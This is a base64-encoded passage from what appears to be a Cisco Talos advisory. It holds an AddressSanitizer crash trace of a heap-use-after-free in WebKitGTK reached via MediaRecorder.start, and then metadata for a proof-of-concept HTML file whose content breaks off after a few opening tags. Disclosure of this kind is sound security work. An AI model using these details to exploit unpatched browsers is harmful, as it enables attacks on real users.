YnVpbGQvV2ViQ29yZS9EZXJpdmVkU291cmNlcy9KU01lZGlhUmVjb3JkZXIuY3BwOjU5NTo1CiAg ICAjMTMgMHg3ZjA2NmZkNTYyODAgaW4gbG9uZyBXZWJDb3JlOjpJRExPcGVyYXRpb248V2ViQ29y ZTo6SlNNZWRpYVJlY29yZGVyPjo6Y2FsbDwmKFdlYkNvcmU6OmpzTWVkaWFSZWNvcmRlclByb3Rv dHlwZUZ1bmN0aW9uX3N0YXJ0Qm9keShKU0M6OkpTR2xvYmFsT2JqZWN0KiwgSlNDOjpDYWxsRnJh bWUqLCBXZWJDb3JlOjpKU01lZGlhUmVjb3JkZXIqKSksIChXZWJDb3JlOjpDYXN0ZWRUaGlzRXJy b3JCZWhhdmlvcikwPihKU0M6OkpTR2xvYmFsT2JqZWN0JiwgSlNDOjpDYWxsRnJhbWUmLCBjaGFy IGNvbnN0KikgL2Z1enppbmcvYnJvd3NlcnMvd2Via2l0Z3RrLTIuNDAuNS1kZWJ1Zy9Tb3VyY2Uv V2ViQ29yZS9iaW5kaW5ncy9qcy9KU0RPTU9wZXJhdGlvbi5oOjYzOjkKICAgICMxNCAweDdmMDY2 ZmQ1NjI4MCBpbiBXZWJDb3JlOjpqc01lZGlhUmVjb3JkZXJQcm90b3R5cGVGdW5jdGlvbl9zdGFy dChKU0M6OkpTR2xvYmFsT2JqZWN0KiwgSlNDOjpDYWxsRnJhbWUqKSAvZnV6emluZy9icm93c2Vy cy93ZWJraXRndGstMi40MC41LWRlYnVnL2J1aWxkL1dlYkNvcmUvRGVyaXZlZFNvdXJjZXMvSlNN ZWRpYVJlY29yZGVyLmNwcDo2MDA6MTIKICAgICMxNSAweDdmMDYxYzJiNDAzNyAgKDx1bmtub3du IG1vZHVsZT4pCiAgICAjMTYgMHg3ZjA2NjljZTBlOGUgaW4ganNfdHJhbXBvbGluZV9vcF9jYWxs IExvd0xldmVsSW50ZXJwcmV0ZXIuY3BwCiAgICAjMTcgMHg3ZjA2NjljYzNhNzkgaW4gdm1FbnRy eVRvSmF2YVNjcmlwdCAoL2Z1enppbmcvYnJvd3NlcnMvd2Via2l0Z3RrLTIuNDAuNS1kZWJ1Zy9i dWlsZC9saWIvbGliamF2YXNjcmlwdGNvcmVndGstNC4xLnNvLjArMHg0ZTI4YTc5KSAoQnVpbGRJ ZDogZjU1ZWVkYzI3YmU4MjNhYzZkYzdhYjkxYjQzYzdkYzFhYTU5YjllZSkKICAgICMxOCAweDdm MDY2Nzk5MDJmMCBpbiBKU0M6OkludGVycHJldGVyOjpleGVjdXRlQ2FsbEltcGwoSlNDOjpWTSYs IEpTQzo6SlNPYmplY3QqLCBKU0M6OkNhbGxEYXRhIGNvbnN0JiwgSlNDOjpKU1ZhbHVlLCBKU0M6 OkFyZ0xpc3QgY29uc3QmKSAvZnV6emluZy9icm93c2Vycy93ZWJraXRndGstMi40MC41LWRlYnVn L1NvdXJjZS9KYXZhU2NyaXB0Q29yZS9pbnRlcnByZXRlci9JbnRlcnByZXRlci5jcHA6MTEyMzoz MgogICAgIzE5IDB4N2YwNjY3OTkwMmYwIGluIEpTQzo6SW50ZXJwcmV0ZXI6OmV4ZWN1dGVDYWxs KEpTQzo6SlNHbG9iYWxPYmplY3QqLCBKU0M6OkpTT2JqZWN0KiwgSlNDOjpDYWxsRGF0YSBjb25z dCYsIEpTQzo6SlNWYWx1ZSwgSlNDOjpBcmdMaXN0IGNvbnN0JikgL2Z1enppbmcvYnJvd3NlcnMv d2Via2l0Z3RrLTIuNDAuNS1kZWJ1Zy9Tb3VyY2UvSmF2YVNjcmlwdENvcmUvaW50ZXJwcmV0ZXIv SW50ZXJwcmV0ZXIuY3BwOjExMzI6MTYKICAgICMyMCAweDdmMDY2ODU3NzBjYyBpbiBKU0M6OmNh bGwoSlNDOjpKU0dsb2JhbE9iamVjdCosIEpTQzo6SlNWYWx1ZSwgSlNDOjpDYWxsRGF0YSBjb25z dCYsIEpTQzo6SlNWYWx1ZSwgSlNDOjpBcmdMaXN0IGNvbnN0JikgL2Z1enppbmcvYnJvd3NlcnMv d2Via2l0Z3RrLTIuNDAuNS1kZWJ1Zy9Tb3VyY2UvSmF2YVNjcmlwdENvcmUvcnVudGltZS9DYWxs RGF0YS5jcHA6NTc6MjcKICAgICMyMSAweDdmMDY2ODU3NzBjYyBpbiBKU0M6OmNhbGwoSlNDOjpK U0dsb2JhbE9iamVjdCosIEpTQzo6SlNWYWx1ZSwgSlNDOjpDYWxsRGF0YSBjb25zdCYsIEpTQzo6 SlNWYWx1ZSwgSlNDOjpBcmdMaXN0IGNvbnN0JiwgV1RGOjpOYWtlZFB0cjxKU0M6OkV4Y2VwdGlv bj4mKSAvZnV6emluZy9icm93c2Vycy93ZWJraXRndGstMi40MC41LWRlYnVnL1NvdXJjZS9KYXZh U2NyaXB0Q29yZS9ydW50aW1lL0NhbGxEYXRhLmNwcDo2NDoyMgogICAgIzIyIDB4N2YwNjcxNzEy ZDlhIGluIFdlYkNvcmU6OkpTRXZlbnRMaXN0ZW5lcjo6aGFuZGxlRXZlbnQoV2ViQ29yZTo6U2Ny aXB0RXhlY3V0aW9uQ29udGV4dCYsIFdlYkNvcmU6OkV2ZW50JikgL2Z1enppbmcvYnJvd3NlcnMv d2Via2l0Z3RrLTIuNDAuNS1kZWJ1Zy9Tb3VyY2UvV2ViQ29yZS9iaW5kaW5ncy9qcy9KU0V2ZW50 TGlzdGVuZXIuY3BwOjIyNDoyMgogICAgIzIzIDB4N2YwNjcyNmY2ZWQyIGluIFdlYkNvcmU6OkV2 ZW50VGFyZ2V0Ojppbm5lckludm9rZUV2ZW50TGlzdGVuZXJzKFdlYkNvcmU6OkV2ZW50JiwgV1RG OjpWZWN0b3I8V1RGOjpSZWZQdHI8V2ViQ29yZTo6UmVnaXN0ZXJlZEV2ZW50TGlzdGVuZXIsIFdU Rjo6UmF3UHRyVHJhaXRzPFdlYkNvcmU6OlJlZ2lzdGVyZWRFdmVudExpc3RlbmVyPiwgV1RGOjpE ZWZhdWx0UmVmRGVyZWZUcmFpdHM8V2ViQ29yZTo6UmVnaXN0ZXJlZEV2ZW50TGlzdGVuZXI+ID4s IDF1bCwgV1RGOjpDcmFzaE9uT3ZlcmZsb3csIDJ1bCwgV1RGOjpGYXN0TWFsbG9jPiwgV2ViQ29y ZTo6RXZlbnRUYXJnZXQ6OkV2ZW50SW52b2tlUGhhc2UpIC9mdXp6aW5nL2Jyb3dzZXJzL3dlYmtp dGd0ay0yLjQwLjUtZGVidWcvU291cmNlL1dlYkNvcmUvZG9tL0V2ZW50VGFyZ2V0LmNwcDozNzU6 NDAKICAgICMyNCAweDdmMDY3MjZkOWZlMSBpbiBXZWJDb3JlOjpFdmVudFRhcmdldDo6ZmlyZUV2 ZW50TGlzdGVuZXJzKFdlYkNvcmU6OkV2ZW50JiwgV2ViQ29yZTo6RXZlbnRUYXJnZXQ6OkV2ZW50 SW52b2tlUGhhc2UpIC9mdXp6aW5nL2Jyb3dzZXJzL3dlYmtpdGd0ay0yLjQwLjUtZGVidWcvU291 cmNlL1dlYkNvcmUvZG9tL0V2ZW50VGFyZ2V0LmNwcDozMDc6OQogICAgIzI1IDB4N2YwNjczZDYx YzVmIGluIFdlYkNvcmU6OkRPTVdpbmRvdzo6ZGlzcGF0Y2hFdmVudChXZWJDb3JlOjpFdmVudCYs IFdlYkNvcmU6OkV2ZW50VGFyZ2V0KikgL2Z1enppbmcvYnJvd3NlcnMvd2Via2l0Z3RrLTIuNDAu NS1kZWJ1Zy9Tb3VyY2UvV2ViQ29yZS9wYWdlL0RPTVdpbmRvdy5jcHA6MjM5Mzo1CiAgICAjMjYg MHg3ZjA2NzNkOGMwNzkgaW4gV2ViQ29yZTo6RE9NV2luZG93OjpkaXNwYXRjaExvYWRFdmVudCgp IC9mdXp6aW5nL2Jyb3dzZXJzL3dlYmtpdGd0ay0yLjQwLjUtZGVidWcvU291cmNlL1dlYkNvcmUv cGFnZS9ET01XaW5kb3cuY3BwOjIzMjU6NQogICAgIzI3IDB4N2YwNjcyNTZjZDAwIGluIFdlYkNv cmU6OkRvY3VtZW50OjpkaXNwYXRjaFdpbmRvd0xvYWRFdmVudCgpIC9mdXp6aW5nL2Jyb3dzZXJz L3dlYmtpdGd0ay0yLjQwLjUtZGVidWcvU291cmNlL1dlYkNvcmUvZG9tL0RvY3VtZW50LmNwcDo1 Mjg3OjE4CiAgICAjMjggMHg3ZjA2NzI1NmNkMDAgaW4gV2ViQ29yZTo6RG9jdW1lbnQ6OmltcGxp Y2l0Q2xvc2UoKSAvZnV6emluZy9icm93c2Vycy93ZWJraXRndGstMi40MC41LWRlYnVnL1NvdXJj ZS9XZWJDb3JlL2RvbS9Eb2N1bWVudC5jcHA6MzMwOTo1CiAgICAjMjkgMHg3ZjA2NzNhOWUzZjAg aW4gV2ViQ29yZTo6RnJhbWVMb2FkZXI6OmNoZWNrQ29tcGxldGVkKCkgL2Z1enppbmcvYnJvd3Nl cnMvd2Via2l0Z3RrLTIuNDAuNS1kZWJ1Zy9Tb3VyY2UvV2ViQ29yZS9sb2FkZXIvRnJhbWVMb2Fk ZXIuY3BwOjkxMTo1CiAgICAjMzAgMHg3ZjA2NzNhOTdlNDMgaW4gV2ViQ29yZTo6RnJhbWVMb2Fk ZXI6OmZpbmlzaGVkUGFyc2luZygpIC9mdXp6aW5nL2Jyb3dzZXJzL3dlYmtpdGd0ay0yLjQwLjUt ZGVidWcvU291cmNlL1dlYkNvcmUvbG9hZGVyL0ZyYW1lTG9hZGVyLmNwcDo4MTA6NQogICAgIzMx IDB4N2YwNjcyNWIxNzdmIGluIFdlYkNvcmU6OkRvY3VtZW50OjpmaW5pc2hlZFBhcnNpbmcoKSAv ZnV6emluZy9icm93c2Vycy93ZWJraXRndGstMi40MC41LWRlYnVnL1NvdXJjZS9XZWJDb3JlL2Rv bS9Eb2N1bWVudC5jcHA6NjM4MDoyNQogICAgIzMyIDB4N2YwNjczMmE0MjY3IGluIFdlYkNvcmU6 OkhUTUxEb2N1bWVudFBhcnNlcjo6ZW5kKCkgL2Z1enppbmcvYnJvd3NlcnMvd2Via2l0Z3RrLTIu NDAuNS1kZWJ1Zy9Tb3VyY2UvV2ViQ29yZS9odG1sL3BhcnNlci9IVE1MRG9jdW1lbnRQYXJzZXIu Y3BwOjQ0NjoyMAogICAgIzMzIDB4N2YwNjczMmE0MjY3IGluIFdlYkNvcmU6OkhUTUxEb2N1bWVu dFBhcnNlcjo6YXR0ZW1wdFRvUnVuRGVmZXJyZWRTY3JpcHRzQW5kRW5kKCkgL2Z1enppbmcvYnJv d3NlcnMvd2Via2l0Z3RrLTIuNDAuNS1kZWJ1Zy9Tb3VyY2UvV2ViQ29yZS9odG1sL3BhcnNlci9I VE1MRG9jdW1lbnRQYXJzZXIuY3BwOjQ1NTo1CiAgICAjMzQgMHg3ZjA2NzMyYTQyNjcgaW4gV2Vi Q29yZTo6SFRNTERvY3VtZW50UGFyc2VyOjpwcmVwYXJlVG9TdG9wUGFyc2luZygpIC9mdXp6aW5n L2Jyb3dzZXJzL3dlYmtpdGd0ay0yLjQwLjUtZGVidWcvU291cmNlL1dlYkNvcmUvaHRtbC9wYXJz ZXIvSFRNTERvY3VtZW50UGFyc2VyLmNwcDoxNTA6NQogICAgIzM1IDB4N2YwNjczMmE5ZWU1IGlu IFdlYkNvcmU6OkhUTUxEb2N1bWVudFBhcnNlcjo6ZmluaXNoKCkgL2Z1enppbmcvYnJvd3NlcnMv d2Via2l0Z3RrLTIuNDAuNS1kZWJ1Zy9Tb3VyY2UvV2ViQ29yZS9odG1sL3BhcnNlci9IVE1MRG9j dW1lbnRQYXJzZXIuY3BwOjQ5NTo1CiAgICAjMzYgMHg3ZjA2NzNhMGMzOTYgaW4gV2ViQ29yZTo6 RG9jdW1lbnRXcml0ZXI6OmVuZCgpIC9mdXp6aW5nL2Jyb3dzZXJzL3dlYmtpdGd0ay0yLjQwLjUt ZGVidWcvU291cmNlL1dlYkNvcmUvbG9hZGVyL0RvY3VtZW50V3JpdGVyLmNwcDozMjI6MTUKICAg ICMzNyAweDdmMDY3M2EwOTMyNyBpbiBXZWJDb3JlOjpEb2N1bWVudExvYWRlcjo6ZmluaXNoZWRM b2FkaW5nKCkgL2Z1enppbmcvYnJvd3NlcnMvd2Via2l0Z3RrLTIuNDAuNS1kZWJ1Zy9Tb3VyY2Uv V2ViQ29yZS9sb2FkZXIvRG9jdW1lbnRMb2FkZXIuY3BwOjUxMToxNAogICAgIzM4IDB4N2YwNjcz Yzk3NDM2IGluIFdlYkNvcmU6OkNhY2hlZFJlc291cmNlOjpjaGVja05vdGlmeShXZWJDb3JlOjpO ZXR3b3JrTG9hZE1ldHJpY3MgY29uc3QmKSAvZnV6emluZy9icm93c2Vycy93ZWJraXRndGstMi40 MC41LWRlYnVnL1NvdXJjZS9XZWJDb3JlL2xvYWRlci9jYWNoZS9DYWNoZWRSZXNvdXJjZS5jcHA6 MzQwOjE3CiAgICAjMzkgMHg3ZjA2NzNjODZmMGYgaW4gV2ViQ29yZTo6Q2FjaGVkUmVzb3VyY2U6 OmZpbmlzaExvYWRpbmcoV2ViQ29yZTo6RnJhZ21lbnRlZFNoYXJlZEJ1ZmZlciBjb25zdCosIFdl YkNvcmU6Ok5ldHdvcmtMb2FkTWV0cmljcyBjb25zdCYpIC9mdXp6aW5nL2Jyb3dzZXJzL3dlYmtp dGd0ay0yLjQwLjUtZGVidWcvU291cmNlL1dlYkNvcmUvbG9hZGVyL2NhY2hlL0NhY2hlZFJlc291 cmNlLmNwcDozNTY6NQogICAgIzQwIDB4N2YwNjczYzg2ZjBmIGluIFdlYkNvcmU6OkNhY2hlZFJh d1Jlc291cmNlOjpmaW5pc2hMb2FkaW5nKFdlYkNvcmU6OkZyYWdtZW50ZWRTaGFyZWRCdWZmZXIg Y29uc3QqLCBXZWJDb3JlOjpOZXR3b3JrTG9hZE1ldHJpY3MgY29uc3QmKSAvZnV6emluZy9icm93 c2Vycy93ZWJraXRndGstMi40MC41LWRlYnVnL1NvdXJjZS9XZWJDb3JlL2xvYWRlci9jYWNoZS9D YWNoZWRSYXdSZXNvdXJjZS5jcHA6MTI4OjIxCiAgICAjNDEgMHg3ZjA2NzNiYzQzZGYgaW4gV2Vi Q29yZTo6U3VicmVzb3VyY2VMb2FkZXI6OmRpZEZpbmlzaExvYWRpbmcoV2ViQ29yZTo6TmV0d29y a0xvYWRNZXRyaWNzIGNvbnN0JikgL2Z1enppbmcvYnJvd3NlcnMvd2Via2l0Z3RrLTIuNDAuNS1k ZWJ1Zy9Tb3VyY2UvV2ViQ29yZS9sb2FkZXIvU3VicmVzb3VyY2VMb2FkZXIuY3BwOjc1MToxNwog ICAgIzQyIDB4N2YwNjZlM2VjY2UzIGluIFdlYktpdDo6V2ViUmVzb3VyY2VMb2FkZXI6OmRpZEZp bmlzaFJlc291cmNlTG9hZChXZWJDb3JlOjpOZXR3b3JrTG9hZE1ldHJpY3MmJikgL2Z1enppbmcv YnJvd3NlcnMvd2Via2l0Z3RrLTIuNDAuNS1kZWJ1Zy9Tb3VyY2UvV2ViS2l0L1dlYlByb2Nlc3Mv TmV0d29yay9XZWJSZXNvdXJjZUxvYWRlci5jcHA6MjYyOjE5CiAgICAjNDMgMHg3ZjA2NmNlNmJj ZGYgaW4gYXV0byB2b2lkIElQQzo6Y2FsbE1lbWJlckZ1bmN0aW9uPFdlYktpdDo6V2ViUmVzb3Vy Y2VMb2FkZXIsIFdlYktpdDo6V2ViUmVzb3VyY2VMb2FkZXIsIHZvaWQgKFdlYkNvcmU6Ok5ldHdv cmtMb2FkTWV0cmljcyYmKSwgc3RkOjp0dXBsZTxXZWJDb3JlOjpOZXR3b3JrTG9hZE1ldHJpY3M+ ID4oV2ViS2l0OjpXZWJSZXNvdXJjZUxvYWRlciosIHZvaWQgKFdlYktpdDo6V2ViUmVzb3VyY2VM b2FkZXI6OiopKFdlYkNvcmU6Ok5ldHdvcmtMb2FkTWV0cmljcyYmKSwgc3RkOjp0dXBsZTxXZWJD b3JlOjpOZXR3b3JrTG9hZE1ldHJpY3M+JiYpOjonbGFtYmRhJyhhdXRvJiYuLi4pOjpvcGVyYXRv cigpPFdlYkNvcmU6Ok5ldHdvcmtMb2FkTWV0cmljcz4oYXV0byYmLi4uKSBjb25zdCAvZnV6emlu Zy9icm93c2Vycy93ZWJraXRndGstMi40MC41LWRlYnVnL1NvdXJjZS9XZWJLaXQvUGxhdGZvcm0v SVBDL0hhbmRsZU1lc3NhZ2UuaDoxMzY6MTMKICAgICM0NCAweDdmMDY2Y2U2YmNkZiBpbiBXZWJL aXQ6OldlYlJlc291cmNlTG9hZGVyIHN0ZDo6X19pbnZva2VfaW1wbDx2b2lkLCB2b2lkIElQQzo6 Y2FsbE1lbWJlckZ1bmN0aW9uPFdlYktpdDo6V2ViUmVzb3VyY2VMb2FkZXIsIFdlYktpdDo6V2Vi UmVzb3VyY2VMb2FkZXIsIHZvaWQgKFdlYkNvcmU6Ok5ldHdvcmtMb2FkTWV0cmljcyYmKSwgc3Rk Ojp0dXBsZTxXZWJDb3JlOjpOZXR3b3JrTG9hZE1ldHJpY3M+ID4oV2ViS2l0OjpXZWJSZXNvdXJj ZUxvYWRlciosIHZvaWQgKFdlYktpdDo6V2ViUmVzb3VyY2VMb2FkZXI6OiopKFdlYkNvcmU6Ok5l dHdvcmtMb2FkTWV0cmljcyYmKSwgc3RkOjp0dXBsZTxXZWJDb3JlOjpOZXR3b3JrTG9hZE1ldHJp Y3M+JiYpOjonbGFtYmRhJyhhdXRvJiYuLi4pLCBXZWJDb3JlOjpOZXR3b3JrTG9hZE1ldHJpY3M+ KHN0ZDo6X19pbnZva2Vfb3RoZXIsIFdlYktpdDo6V2ViUmVzb3VyY2VMb2FkZXImJiwgV2ViQ29y ZTo6TmV0d29ya0xvYWRNZXRyaWNzJiYpIC91c3IvYmluLy4uL2xpYi9nY2MveDg2XzY0LWxpbnV4 LWdudS8xMS8uLi8uLi8uLi8uLi9pbmNsdWRlL2MrKy8xMS9iaXRzL2ludm9rZS5oOjYxOjE0CiAg ICAjNDUgMHg3ZjA2NmNlNmJjZGYgaW4gc3RkOjpfX2ludm9rZV9yZXN1bHQ8V2ViS2l0OjpXZWJS ZXNvdXJjZUxvYWRlciwgV2ViQ29yZTo6TmV0d29ya0xvYWRNZXRyaWNzPjo6dHlwZSBzdGQ6Ol9f aW52b2tlPHZvaWQgSVBDOjpjYWxsTWVtYmVyRnVuY3Rpb248V2ViS2l0OjpXZWJSZXNvdXJjZUxv YWRlciwgV2ViS2l0OjpXZWJSZXNvdXJjZUxvYWRlciwgdm9pZCAoV2ViQ29yZTo6TmV0d29ya0xv YWRNZXRyaWNzJiYpLCBzdGQ6OnR1cGxlPFdlYkNvcmU6Ok5ldHdvcmtMb2FkTWV0cmljcz4gPihX ZWJLaXQ6OldlYlJlc291cmNlTG9hZGVyKiwgdm9pZCAoV2ViS2l0OjpXZWJSZXNvdXJjZUxvYWRl cjo6KikoV2ViQ29yZTo6TmV0d29ya0xvYWRNZXRyaWNzJiYpLCBzdGQ6OnR1cGxlPFdlYkNvcmU6 Ok5ldHdvcmtMb2FkTWV0cmljcz4mJik6OidsYW1iZGEnKGF1dG8mJi4uLiksIFdlYkNvcmU6Ok5l dHdvcmtMb2FkTWV0cmljcz4oV2ViS2l0OjpXZWJSZXNvdXJjZUxvYWRlciYmLCBXZWJDb3JlOjpO ZXR3b3JrTG9hZE1ldHJpY3MmJikgL3Vzci9iaW4vLi4vbGliL2djYy94ODZfNjQtbGludXgtZ251 LzExLy4uLy4uLy4uLy4uL2luY2x1ZGUvYysrLzExL2JpdHMvaW52b2tlLmg6OTY6MTQKICAgICM0 NiAweDdmMDY2Y2U2YmNkZiBpbiBkZWNsdHlwZShhdXRvKSBzdGQ6Ol9fYXBwbHlfaW1wbDx2b2lk IElQQzo6Y2FsbE1lbWJlckZ1bmN0aW9uPFdlYktpdDo6V2ViUmVzb3VyY2VMb2FkZXIsIFdlYktp dDo6V2ViUmVzb3VyY2VMb2FkZXIsIHZvaWQgKFdlYkNvcmU6Ok5ldHdvcmtMb2FkTWV0cmljcyYm KSwgc3RkOjp0dXBsZTxXZWJDb3JlOjpOZXR3b3JrTG9hZE1ldHJpY3M+ID4oV2ViS2l0OjpXZWJS ZXNvdXJjZUxvYWRlciosIHZvaWQgKFdlYktpdDo6V2ViUmVzb3VyY2VMb2FkZXI6OiopKFdlYkNv cmU6Ok5ldHdvcmtMb2FkTWV0cmljcyYmKSwgc3RkOjp0dXBsZTxXZWJDb3JlOjpOZXR3b3JrTG9h ZE1ldHJpY3M+JiYpOjonbGFtYmRhJyhhdXRvJiYuLi4pLCBzdGQ6OnR1cGxlPFdlYkNvcmU6Ok5l dHdvcmtMb2FkTWV0cmljcz4sIDB1bD4oV2ViS2l0OjpXZWJSZXNvdXJjZUxvYWRlciYmLCBXZWJL aXQ6OldlYlJlc291cmNlTG9hZGVyJiYsIHN0ZDo6aW50ZWdlcl9zZXF1ZW5jZTx1bnNpZ25lZCBs b25nLCAwdWw+KSAvdXNyL2Jpbi8uLi9saWIvZ2NjL3g4Nl82NC1saW51eC1nbnUvMTEvLi4vLi4v Li4vLi4vaW5jbHVkZS9jKysvMTEvdHVwbGU6MTg1ODoxNAogICAgIzQ3IDB4N2YwNjZjZTZiY2Rm IGluIGRlY2x0eXBlKGF1dG8pIHN0ZDo6YXBwbHk8dm9pZCBJUEM6OmNhbGxNZW1iZXJGdW5jdGlv bjxXZWJLaXQ6OldlYlJlc291cmNlTG9hZGVyLCBXZWJLaXQ6OldlYlJlc291cmNlTG9hZGVyLCB2 b2lkIChXZWJDb3JlOjpOZXR3b3JrTG9hZE1ldHJpY3MmJiksIHN0ZDo6dHVwbGU8V2ViQ29yZTo6 TmV0d29ya0xvYWRNZXRyaWNzPiA+KFdlYktpdDo6V2ViUmVzb3VyY2VMb2FkZXIqLCB2b2lkIChX ZWJLaXQ6OldlYlJlc291cmNlTG9hZGVyOjoqKShXZWJDb3JlOjpOZXR3b3JrTG9hZE1ldHJpY3Mm JiksIHN0ZDo6dHVwbGU8V2ViQ29yZTo6TmV0d29ya0xvYWRNZXRyaWNzPiYmKTo6J2xhbWJkYSco YXV0byYmLi4uKSwgc3RkOjp0dXBsZTxXZWJDb3JlOjpOZXR3b3JrTG9hZE1ldHJpY3M+ID4oV2Vi S2l0OjpXZWJSZXNvdXJjZUxvYWRlciYmLCBXZWJLaXQ6OldlYlJlc291cmNlTG9hZGVyJiYpIC91 c3IvYmluLy4uL2xpYi9nY2MveDg2XzY0LWxpbnV4LWdudS8xMS8uLi8uLi8uLi8uLi9pbmNsdWRl L2MrKy8xMS90dXBsZToxODY5OjE0CiAgICAjNDggMHg3ZjA2NmNlNmJjZGYgaW4gdm9pZCBJUEM6 OmNhbGxNZW1iZXJGdW5jdGlvbjxXZWJLaXQ6OldlYlJlc291cmNlTG9hZGVyLCBXZWJLaXQ6Oldl YlJlc291cmNlTG9hZGVyLCB2b2lkIChXZWJDb3JlOjpOZXR3b3JrTG9hZE1ldHJpY3MmJiksIHN0 ZDo6dHVwbGU8V2ViQ29yZTo6TmV0d29ya0xvYWRNZXRyaWNzPiA+KFdlYktpdDo6V2ViUmVzb3Vy Y2VMb2FkZXIqLCB2b2lkIChXZWJLaXQ6OldlYlJlc291cmNlTG9hZGVyOjoqKShXZWJDb3JlOjpO ZXR3b3JrTG9hZE1ldHJpY3MmJiksIHN0ZDo6dHVwbGU8V2ViQ29yZTo6TmV0d29ya0xvYWRNZXRy aWNzPiYmKSAvZnV6emluZy9icm93c2Vycy93ZWJraXRndGstMi40MC41LWRlYnVnL1NvdXJjZS9X ZWJLaXQvUGxhdGZvcm0vSVBDL0hhbmRsZU1lc3NhZ2UuaDoxMzQ6NQogICAgIzQ5IDB4N2YwNjZj ZTZiY2RmIGluIHZvaWQgSVBDOjpoYW5kbGVNZXNzYWdlPE1lc3NhZ2VzOjpXZWJSZXNvdXJjZUxv YWRlcjo6RGlkRmluaXNoUmVzb3VyY2VMb2FkLCBXZWJLaXQ6OldlYlJlc291cmNlTG9hZGVyLCBX ZWJLaXQ6OldlYlJlc291cmNlTG9hZGVyLCB2b2lkIChXZWJDb3JlOjpOZXR3b3JrTG9hZE1ldHJp Y3MmJik+KElQQzo6Q29ubmVjdGlvbiYsIElQQzo6RGVjb2RlciYsIFdlYktpdDo6V2ViUmVzb3Vy Y2VMb2FkZXIqLCB2b2lkIChXZWJLaXQ6OldlYlJlc291cmNlTG9hZGVyOjoqKShXZWJDb3JlOjpO ZXR3b3JrTG9hZE1ldHJpY3MmJikpIC9mdXp6aW5nL2Jyb3dzZXJzL3dlYmtpdGd0ay0yLjQwLjUt ZGVidWcvU291cmNlL1dlYktpdC9QbGF0Zm9ybS9JUEMvSGFuZGxlTWVzc2FnZS5oOjIzNjo5CgpT VU1NQVJZOiBBZGRyZXNzU2FuaXRpemVyOiBoZWFwLXVzZS1hZnRlci1mcmVlIC91c3IvYmluLy4u L2xpYi9nY2MveDg2XzY0LWxpbnV4LWdudS8xMS8uLi8uLi8uLi8uLi9pbmNsdWRlL2MrKy8xMS9i aXRzL2F0b21pY19iYXNlLmg6NTIyOjkgaW4gc3RkOjpfX2F0b21pY19iYXNlPHVuc2lnbmVkIGNo YXI+Ojpjb21wYXJlX2V4Y2hhbmdlX3dlYWsodW5zaWduZWQgY2hhciYsIHVuc2lnbmVkIGNoYXIs IHN0ZDo6bWVtb3J5X29yZGVyLCBzdGQ6Om1lbW9yeV9vcmRlcikKU2hhZG93IGJ5dGVzIGFyb3Vu ZCB0aGUgYnVnZ3kgYWRkcmVzczoKICAweDBjMWU4MDAxNzViMDogZmEgZmEgZmEgZmEgZmEgZmEg ZmQgZmQgZmQgZmQgZmQgZmQgZmQgZmQgZmQgZmQKICAweDBjMWU4MDAxNzVjMDogZmQgZmQgZmQg ZmQgZmQgZmQgZmQgZmQgZmQgZmQgZmQgZmEgZmEgZmEgZmEgZmEKICAweDBjMWU4MDAxNzVkMDog ZmEgZmEgZmEgZmEgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAKICAweDBjMWU4 MDAxNzVlMDogMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgMDAgZmEgZmEgZmEgZmEgZmEgZmEgZmEK ICAweDBjMWU4MDAxNzVmMDogZmEgZmEgZmQgZmQgZmQgZmQgZmQgZmQgZmQgZmQgZmQgZmQgZmQg ZmQgZmQgZmQKPT4weDBjMWU4MDAxNzYwMDogZmQgZmQgZmRbZmRdZmQgZmQgZmQgZmEgZmEgZmEg ZmEgZmEgZmEgZmEgZmEgZmEKICAweDBjMWU4MDAxNzYxMDogZmQgZmQgZmQgZmQgZmQgZmQgZmQg ZmQgZmQgZmQgZmQgZmQgZmQgZmQgZmQgZmQKICAweDBjMWU4MDAxNzYyMDogZmQgZmQgZmQgZmQg ZmQgZmQgZmEgZmEgZmEgZmEgZmEgZmEgZmEgZmEgZmEgZmEKICAweDBjMWU4MDAxNzYzMDogZmEg ZmEgZmEgZmEgZmEgZmEgZmEgZmEgZmEgZmEgZmEgZmEgZmEgZmEgZmEgZmEKICAweDBjMWU4MDAx NzY0MDogZmEgZmEgZmEgZmEgZmEgZmEgZmEgZmEgZmEgZmEgZmEgZmEgZmEgZmEgZmEgZmEKICAw eDBjMWU4MDAxNzY1MDogZmEgZmEgZmEgZmEgZmEgZmEgZmEgZmEgZmEgZmEgZmEgZmEgZmEgZmEg ZmEgZmEKU2hhZG93IGJ5dGUgbGVnZW5kIChvbmUgc2hhZG93IGJ5dGUgcmVwcmVzZW50cyA4IGFw cGxpY2F0aW9uIGJ5dGVzKToKICBBZGRyZXNzYWJsZTogICAgICAgICAgIDAwCiAgUGFydGlhbGx5 IGFkZHJlc3NhYmxlOiAwMSAwMiAwMyAwNCAwNSAwNiAwNyAKICBIZWFwIGxlZnQgcmVkem9uZTog ICAgICAgZmEKICBGcmVlZCBoZWFwIHJlZ2lvbjogICAgICAgZmQKICBTdGFjayBsZWZ0IHJlZHpv bmU6ICAgICAgZjEKICBTdGFjayBtaWQgcmVkem9uZTogICAgICAgZjIKICBTdGFjayByaWdodCBy ZWR6b25lOiAgICAgZjMKICBTdGFjayBhZnRlciByZXR1cm46ICAgICAgZjUKICBTdGFjayB1c2Ug YWZ0ZXIgc2NvcGU6ICAgZjgKICBHbG9iYWwgcmVkem9uZTogICAgICAgICAgZjkKICBHbG9iYWwg aW5pdCBvcmRlcjogICAgICAgZjYKICBQb2lzb25lZCBieSB1c2VyOiAgICAgICAgZjcKICBDb250 YWluZXIgb3ZlcmZsb3c6ICAgICAgZmMKICBBcnJheSBjb29raWU6ICAgICAgICAgICAgYWMKICBJ bnRyYSBvYmplY3QgcmVkem9uZTogICAgYmIKICBBU2FuIGludGVybmFsOiAgICAgICAgICAgZmUK ICBMZWZ0IGFsbG9jYSByZWR6b25lOiAgICAgY2EKICBSaWdodCBhbGxvY2EgcmVkem9uZTogICAg Y2IKPT05ODg3PT1BQk9SVElORwoKQ3JlZGl0CgpEaXNjb3ZlcmVkIGJ5IE1hcmNpbiAmIzM5O0lj ZXdhbGwmIzM5OyBOb2dhIG9mIENpc2NvIFRhbG9zLiAK 467414 2023-08-24 01:52:04 -0700 2023-08-24 01:52:04 -0700 Proof of concept TALOS-2023-1831-PoC-uaf_crash.html text/html 477 vulndiscovery PGh0bWw+DQo8aGVhZD4NCjwvaGVhZD4NCjxib2R5Pg0KICAgIDxzY3JpcHQgdHlwZT0idGV4dC9q 